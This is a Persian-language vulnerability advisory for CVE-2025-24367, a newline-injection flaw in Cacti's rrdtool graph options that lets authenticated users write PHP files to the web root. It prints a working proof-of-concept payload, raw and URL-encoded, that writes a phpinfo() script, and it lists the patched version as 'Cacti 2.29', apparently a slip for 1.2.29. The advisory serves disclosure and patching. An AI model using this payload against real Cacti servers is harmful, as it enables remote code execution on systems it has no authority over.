- شناسه CVE-2025-24367 :CVE
- CWE-144 :CWE
- yes :Advisory
- منتشر شده: ژانویه 27, 2025
- به روز شده: ژانویه 27, 2025
- امتیاز: 8.7
- نوع حمله: Log Injection
- اثر گذاری: Remote code execution(RCE)
- حوزه: نرم افزارهای شبکه و امنیت
- برند: Cacti
- محصول: Cacti
- وضعیتPublished :CVE
- Yes :POC
- وضعیت آسیب پذیری: patch شده
چکیده
CVE-2025-24367، یک آسیب پذیری با شدت بالا درنرم افزار مدیریت گزارش Cacti تا نسخه 1.2.28 است. این آسیب پذیری می تواند به حمله Improper Neutralization of Line Delimiters منجر شود. حمله می تواند از راه دور راه اندازی شود. توصیه می شود کامپوننت آسیب پذیر را به نسخه های بالاتر ارتقا دهید.
توضیحات
یک کاربر احراز هویت شده Cacti می تواند از قابلیت ایجاد گراف و قالب گراف برای ایجاد اسکریپت های PHP دلخواه در root وب برنامه استفاده کرده و کد های دلخواه را بر روی سرور اجرا کند.
Cacti از باینری rrdtool برای ایجادgraphs/images بر اساس پایگاه داده های راند رابین (RRD) استفاده می کند. تعدادی از سوییچ ها می توانند از طریق UI وب به عنوان باینری تنظیم شوند، خصوصا در قابلیت های قالب گراف و ساخت گراف.
Cacti تلاش می کند ورودی های کاربر مشکوک را از طریق رد کردن متاکاراکترهای شِل پاکسازی کند. برای مثال تابع rrd_function_process_graph_options() در کتابخانه lib/rrd.php :
case ‘right_axis_label’:
if (!empty($value)) {
$graph_opts .= ‘–right-axis-label ‘ . cacti_escapeshellarg($value) . RRD_NL;
}
در فایل lib/functions.php :
/**
* mimics escapeshellarg, even for windows
*
* @param $string – the string to be escaped
* @param $quote – true: do NOT remove quotes from result; false: do remove quotes
*
* @return string – the escaped [quoted|unquoted] string
*/
function cacti_escapeshellarg(string $string, bool $quote = true): string {
global $config;
if ($string == ”) {
return $string;
}
/* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config[‘cacti_server_os’] == ‘unix’) {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
# remove first and last char
return substr($string, 1, (strlen($string) – 2));
}
}
با این حال کاراکترهای خط جدید از طریق منطق پاکسازی حذف نشده و ممکن است برای وقفه در دستور تزریق شده و دستورات مجزایی نظیر فراخوانی سایر قابلیت های مانند ساخت RRD ، بازیابی ، دورانداختن و غیره ، در باینری rrdtool استفاده شوند.
با تزریق چندین خط جدید احتمال فراخوانی قابلیت های مجزا در یک payload فراهم می شود. Payload شامل دو مجموعه دستور متمایز است. مجموعه دستور اول یک پایگاه داده RRD جدید ایجاد می کند که می تواند در دستور دوم استفاده شود(در غیر این صورت مهاجم می بایست یک مسیر موجود در یک فایلRRD در سیستم هدف را شناسایی کند). مجموعه دوم یک گراف CSV از داده های موجود در فایل RRD my.rrd تازه ایجاد شده، ساخته و آن را به نام xxx2.php با کد PHP که درون آن جاساز شده است، ذخیره می کند :
XXX
create my.rrd –step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>
payload انکد شده :
XXX%0Acreate+my.rrd+–step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A
که منجر به کامندلاینی شبیه آنچه در زیر آمده است می شود:
/usr/bin/rrdtool graph – \
–imgformat=SVG \
–start=’1735903534′ \
–end=’1735903594′ \
–pango-markup \
–title=’Local Linux Machine – Advanced Ping’ \
–vertical-label=’milliseconds’ \
–slope-mode \
–base=1000 \
–height=200 \
–width=700 \
–units-exponent=1 \
–right-axis-label ‘XXX
create my.rrd –step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>
‘ \
–tabwidth ’30’ \
–upper-limit=’10’ \
–lower-limit=’0′ \
–units-exponent=’1′ \
COMMENT:”From 2025-01-03 11\:25\:34 To 2025-01-03 11\:26\:34\c” \
COMMENT:” \n” \
–color BACK#F3F3F3 \
–color CANVAS#FDFDFD \
–color SHADEA#CBCBCB \
–color SHADEB#999999 \
–color FONT#000000 \
–color AXIS#2C4D43 \
–color ARROW#2C4D43 \
–color FRAME#2C4D43 \
–border 1 \
–font TITLE:11:’Arial’ \
–font AXIS:8:’Arial’ \
–font LEGEND:8:’Courier’ \
–font UNIT:8:’Arial’ \
–font WATERMARK:6:’Arial’ \
–slope-mode \
–watermark ‘Generated by Cacti®’ \
سیستم امتیاز دهی آسیب پذیری ها بر اساس استاندارد های تحقیقاتی حوزه نمره دهی به آسیب پذیری ها، امتیازات زیر را برای شدت اثرگذاری این آسیب پذیری در نظر گرفته است.
CVSS
Score | Severity | Version | Vector String |
8.7 | HIGH | 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
لیست محصولات آسیب پذیر
در زمان انتشار این اعلامیه، این آسیب پذیری نسخه های زیر در معرض این آسیب پذیری قرار دارند:
- Cacti <= 1.2.28
لیست محصولات بروز شده
این آسیب پذیری از نسخه زیر به بعد اصلاح شده است :
- Cacti 2.29
نتیجه گیری
آسیب پذیری فوق در دسته آسیب پذیری های سطح بالا دسته بندی می شود. توصیه شده نسبت به بروزرسانی نسخه فعلی به نسخه های بالاتر اصلاح شده افزارهای خود اقدام کنید تا در معرض این آسیب پذیری قرار نگیرند.
منابع
- https://www.cve.org/CVERecord?id=CVE-2025-24367
- https://www.cvedetails.com/cve/CVE-2025-24367/
- https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq
- https://github.com/Cacti/cacti/commit/c7e4ee798d263a3209ae6e7ba182c7b65284d8f0
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-24367&sortby=bydate
- https://vuldb.com/?id.293584
- https://cwe.mitre.org/data/definitions/144.html